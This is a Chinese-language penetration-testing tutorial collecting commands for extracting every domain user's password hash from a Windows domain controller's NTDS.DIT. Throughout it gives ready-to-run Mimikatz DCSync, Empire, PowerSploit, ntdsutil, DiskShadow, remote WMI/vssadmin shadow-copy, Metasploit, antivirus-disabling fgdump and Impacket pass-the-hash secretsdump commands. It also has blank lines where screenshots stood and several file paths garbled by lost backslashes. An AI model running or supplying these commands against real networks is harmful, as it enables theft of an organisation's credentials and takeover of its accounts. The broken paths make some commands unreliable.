抓取域密碼哈希的各種工具集合
在拿到域管理員權限之后,都會提取所有域用戶的密碼哈希進行離線破解和分析。這些密碼哈希存儲在域控制器(NTDS.DIT)中的數據庫文件中,并包含一些附加信息,如組成員和用戶。
NTDS.DIT 文件經常被操作系統使用,因此不能直接復制到另一個位置提取信息。此文件可在以下 Windows 目錄下找到:
C:\Windows\NTDS\NTDS.dit:
下面就是關于如何提取域內哈希的各種方式及相關工具。
Mimikatz
Mimikatz 有一個功能(dcsync),該功能使用目錄復制服務(DRS)從 NTDS.DIT 文件中檢索密碼散列。通過這種方式無需登錄域控制器進行操作,在任意一臺域內成員機上均可操作,使用命令如下:
lsadump::dcsync /domain:pentestlab.local /all /csv

通過使用 /user參數指定用戶名,Mimikatz 可以提取指定用戶的密碼信息:
lsadump::dcsync /domain:pentestlab.local /user:test

或者,直接在域控制器上執行 Mimikatz ,從進程 lsass 中提取:
privilege::debug
lsadump::lsa /inject

提取的密碼信息如下:

Empire
PowerShell Empire 有兩個模塊可以通過 DCSync 獲取域內哈希。這兩個模塊都需要以域管理員的權限執行。該模塊依賴于 Invoke-Mimikatz PowerShell 腳本來執行與 DCSync 相關的 Mimikatz 命令。dcsync_hashdump 模塊輸出的結果與 Metasploit 的 hashdump 命令相似:
usemodule credentials/mimikatz/dcsync_hashdump

DCSync 模塊要求指定用戶才能提取所有帳戶信息:

獲得的信息如下:

Nishang
Nishang 是一個 PowerShell 框架,Copy-VSS.ps1 腳本可用于自動提取所需文件:NTDS.DIT、SAM 和 SYSTEM,提取的文件存放于指定的目錄下,項目下載地址:
https://github.com/samratashok/nishang
使用命令如下:
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

或者在 meterpreter 中使用:
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可以直接在 Powershell 會話中執行:
Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploit
PowerSploit 包含一個 PowerShell 腳本,VolumeShadowCopyTools.ps1 使用 shadow copy 服務,創建新的卷來提取相關文件:
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy

或者在 Meterpreter 會話中使用:
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

然后,文件可以通過命令從新卷中復制。
Invoke-DCSync
腳本下載地址:
https://gist.github.com/monoxgas/9d238accd969550136db
使用命令:
Invoke-DCSync

結果將格式化為四個表:域、用戶、ID 和 hash。然而,使用參數 -PWDumpFormat 執行可以將結果格式化為: user:id:lm:ntlm:::
Invoke-DCSync -PWDumpFormat

在 Meterpreter 會話中運行腳本,可以實現相同的輸出:

使用 -PWDumpFormat 參數:

ntdsutil
ntdsutil 是一個命令行工具,是域控制器生態系統的一部分,其目的是使管理員能夠訪問和管理 Windows Active Directory 數據庫。利用這個可以將相關文件提取出來,進行離線提取:
ntdsutil activate instance ntds ifm create full C:tdsutil quit quit

生成兩個新文件夾:Active Directory 和 Registry。NTDS.DIT 文件將保存在 Active Directory 中,SAM 和 SYSTEM 文件將保存到注冊表文件夾中

DiskShadow
DiskShadow 是一個微軟簽名的二進制文件,用于協助管理員進行與卷影復制服務(VSS)相關的操作,將以下內容保存在 diskshadow.txt 內:
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windowstdstds.dit c:\exfiltds.dit delete shadows volume %someAlias% reset
然后執行:
diskshadow.exe /s c:\diskshadow.txt

運行以下命令將列出系統所有可用的卷影副本:
diskshadow LIST SHADOWS ALL

還需保存 system 的注冊表項,因為其中保存了 NTDS 文件的解密密鑰:
reg.exe save hklm\system c:\exfil\system.bak

WMI
通過 WMI 遠程提取 NTDS.DIT 和 SYSTEM 文件,需要用到 vssadmin 來創建快照:
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

然后,遠程執行復制命令,將相關文件移動到指定目錄:
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temptds.dit 2>&1"

這同樣適用于 SYSTEM 文件:
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

然后將保存到文件移動到離線提取哈希的機器上:
PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temptds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temp\SYSTEM.hive C:\temp

如果已經生成了黃金票據,則可以使用 Kerberos 與域控制器進行身份驗證。
vssadmin
vssadmin 是一個 Windows 命令行實用程序,管理員能夠使用它備份計算機、卷和文件。Volume Shadow Copy作為服務運行,要求文件系統為 NTFS 格式。在 cmd 上執行下面的命令,制作 C 盤的卷影:
vssadmin create shadow /for=C:

C 盤的所有文件都已經復制到 HarddiskVolumeShadowCopy1 上,操作系統不直接使用,所以可以訪問和復制其上的任何文件。將 NTDS.DIT 和 SYSTEM 文件復制到本地名為 ShadowCopy 的新文件夾:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

這些文件需要從域控制器復制到另一個主機進行進一步處理:

vssown
與 vssadmin 類似,vssown 是一個 vbs 腳本,可以創建和刪除卷影副本,使用方式如下:
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete

可以使用命令復制副本中的所需文件:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windowstdstds.dit C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit
Metasploit 框架中可以使用下面的模塊,提取 ntds 中的相關信息:
auxiliary/admin/smb/psexec_ntdsgrab

還可以使用下面的模塊,直接在域控彈回的會話中執行:
windows/gather/credentials/domain_hashdump

或者在 meterpreter 中域控的會話直接執行 hashdump 命令,這種方式比較危險,因為容易使域控崩潰,謹慎使用:

fgdump
fgdump 是一個老的二進制文件,可以提取 LM 和 NTLM 密碼散列,下載地址:
http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip
如果已經獲得本地管理員憑據,則可以在本地或遠程執行。在執行期間,fgdump 將嘗試禁用可能在系統上運行的防病毒軟件,如果成功禁用則將結果保存在文件中,如果失敗,則不進行提取,防止被檢測,使用方法直接在域控上運行即可:
fgdump.exe

可以通過 .pwdump 后綴的文件來查看結果:
type 127.0.0.1.pwdump

NTDS 離線提取
Impacket 是 python 腳本編寫工具框架,使用其中的 impacket-secretsdump 模塊提取 NTDS 中的密碼哈希,下載地址:
https://github.com/CoreSecurity/impacket
提取之前需要 SYSTEM 和 NTDS 的數據庫文件:
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,還可以遠程提取 NTDS 的哈希,需要使用域管賬號和哈希:
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

NTDSDumpEx 二進制文件也可以從 ntds.dit 中提取哈希,下載地址:
https://github.com/zcgonvh/NTDSDumpEx
使用方式:
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

還有一個 shell 腳本 adXtract,下載地址:
https://github.com/LordNem/adXtract
使用方式:
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

腳本會將不同信息存儲在不同到文件中,比如用戶信息:

密碼散列到格式如下:

總結
本文整理了各種工具,以各種方式提取 NTDS 中的所有域哈希,最好的方式就是在 DCSync 和離線提取,盡量不要在域控服務器上執行過多操作,以免對目標造成可用性上的威脅。
--- EOF ---
推薦↓↓↓